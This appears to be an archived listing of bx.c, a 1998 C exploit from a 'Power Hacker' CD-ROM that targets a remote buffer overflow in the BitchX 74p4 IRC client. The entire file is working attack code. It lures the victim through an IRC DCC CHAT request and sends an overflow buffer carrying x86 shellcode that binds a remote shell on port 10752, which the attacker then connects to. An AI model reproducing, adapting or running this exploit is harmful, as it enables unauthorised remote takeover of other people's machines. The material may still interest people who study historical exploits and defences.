home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Exploit and vulnerability / w00w00 / exploits / bx.c next >
Encoding:
C/C++ Source or Header  |  1999-08-06  |  2.9 KB  |  116 lines

  1. /*
  2.  * BitchX 74p4 remote overflow
  3.  * BiT '98, shellcode by plaguez/ndubee
  4.  *
  5.  * Vulnerability originally discovered by nyt (nyt@deadpig.org),
  6.  * rediscovered by an unknown user.
  7.  */
  8.  
  9. #include <stdio.h>
  10. #include <sys/socket.h>
  11. #include <sys/types.h>
  12. #include <linux/in.h>
  13.  
  14. #define PORT 6667
  15. #define BUFSIZE 2068
  16.  
  17. char *ops =
  18. "\x31\xc0\xb0\x02\xcd\x80\x85\xc0\x75\x4c\xeb\x4c\x5e\xb0\x02\x89"
  19. "\x06\xfe\xc8\x89\x46\x04\xb0\x06\x89\x46\x08\xb0\x66\x31\xdb\xfe"
  20. "\xc3\x89\xf1\xcd\x80\x89\x06\xb0\x02\x66\x89\x46\x0c\xb0\x2a\x66"
  21. "\x89\x46\x0e\x8d\x46\x0c\x89\x46\x04\x31\xc0\x89\x46\x10\xb0\x10"
  22. "\x89\x46\x08\xb0\x66\xfe\xc3\xcd\x80\xb0\x01\x89\x46\x04\xb0\x66"
  23. "\xb3\x04\xcd\x80\xeb\x04\xeb\x4a\xeb\x50\x31\xc0\x89\x46\x04\x89"
  24. "\x46\x08\xb0\x66\xfe\xc3\xcd\x80\x88\xc3\xb0\x3f\x31\xc9\xcd\x80"
  25. "\xb0\x3f\xfe\xc1\xcd\x80\xb0\x3f\xfe\xc1\xcd\x80\xb8\x2f\x62\x69"
  26. "\x6e\x89\x06\xb8\x2f\x73\x68\x21\x89\x46\x04\x31\xc0\x88\x46\x07"
  27. "\x89\x76\x08\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c"
  28. "\xcd\x80\x31\xc0\xb0\x01\x31\xdb\xcd\x80\xe8\x5d\xff\xff\xff";
  29.  
  30. void main(int argc, char **argv)
  31. {
  32.   char *p, *q, i = 0;
  33.   int *addr, len = BUFSIZE + (char) 2*sizeof(char *);
  34.   int base   = 0xBFFFF5C6;
  35.   int offset = 0;
  36.   
  37.   if(argc < 3)
  38.     printf("Syntax: %s <nick>@<server> <myip>\n", *argv), exit(0);
  39.  
  40.   if(argc > 3)
  41.     offset = atoi(argv[3]);
  42.  
  43.   if(!strchr(argv[1], '@'))
  44.     printf("Syntax: %s <nick>@<server> <myip>\n", *argv), exit(0);
  45.  
  46.   q = p = (char *) malloc(1 + len);
  47.   memset(p, 0x90, 1 + len);
  48.   
  49.   for(q = (p + BUFSIZE - strlen(ops)); *ops; *q++ = *ops++) 
  50.     ;
  51.   
  52.   for(addr = (int *) q; i < 2*sizeof(char *); i += 4)
  53.     *(addr++) = base - offset;  
  54.   
  55.   *(q + i++) = '\n';
  56.   *(q + i) = '\0';
  57.   
  58.   printf("Attacking.. %d using %X[%d]\n", strlen(p), base - offset, offset);
  59.   fflush(stdout);
  60.  
  61.   attack(argv[1],argv[2], p);
  62.   free(p);
  63. }
  64.  
  65. void attack(char *stuff, char *ip, char *b)
  66. {
  67.   int s, l, a, i = sizeof(struct sockaddr_in), pp;
  68.   struct sockaddr_in sin;
  69.   char buf[512], *ser;
  70.   unsigned long int ll;
  71.   
  72.   ser = strchr(stuff, '@');
  73.   *ser++ = '\0';
  74.  
  75.   sin.sin_family = AF_INET;
  76.   sin.sin_port   = htons(PORT);
  77.   sin.sin_addr.s_addr = inet_addr(ser);
  78.  
  79.   ll         = htonl(inet_addr(ip));
  80.   srand(time(NULL));
  81.   pp = rand();
  82.  
  83.   
  84.   s = socket(AF_INET, SOCK_STREAM, 0);
  85.   if(connect(s, &sin, sizeof(sin)) == -1)
  86.     printf("Can't connect to ircserver\n"), exit(0);
  87.   
  88.   strcpy(buf, "USER A A A A\n");
  89.   write(s, buf, strlen(buf));
  90.   strcpy(buf, "NICK _bit_\n");
  91.   write(s, buf, strlen(buf));
  92.   sprintf(buf, "PRIVMSG %s :%cDCC CHAT chat %u %d%c\n", stuff, '\001', ll,
  93.           pp, '\001');
  94.   write(s, buf, strlen(buf));
  95.  
  96.   sin.sin_port = htons(pp);
  97.   sin.sin_addr.s_addr = INADDR_ANY;
  98.   
  99.   l = socket(AF_INET, SOCK_STREAM, 0);
  100.   bind(l, &sin, sizeof(sin));
  101.   listen(l, 5);
  102.   
  103.   printf("Wating for connection..."); fflush(stdout);
  104.  
  105.   a = accept(l, &sin, &i);
  106.   
  107.   write(a, b, strlen(b));
  108.   sleep(1);
  109.   
  110.   close(s);
  111.   close(l);
  112.   close(a);
  113.   
  114.   printf("now telnet to %s's ip port 10752\n", stuff);
  115. }
  116.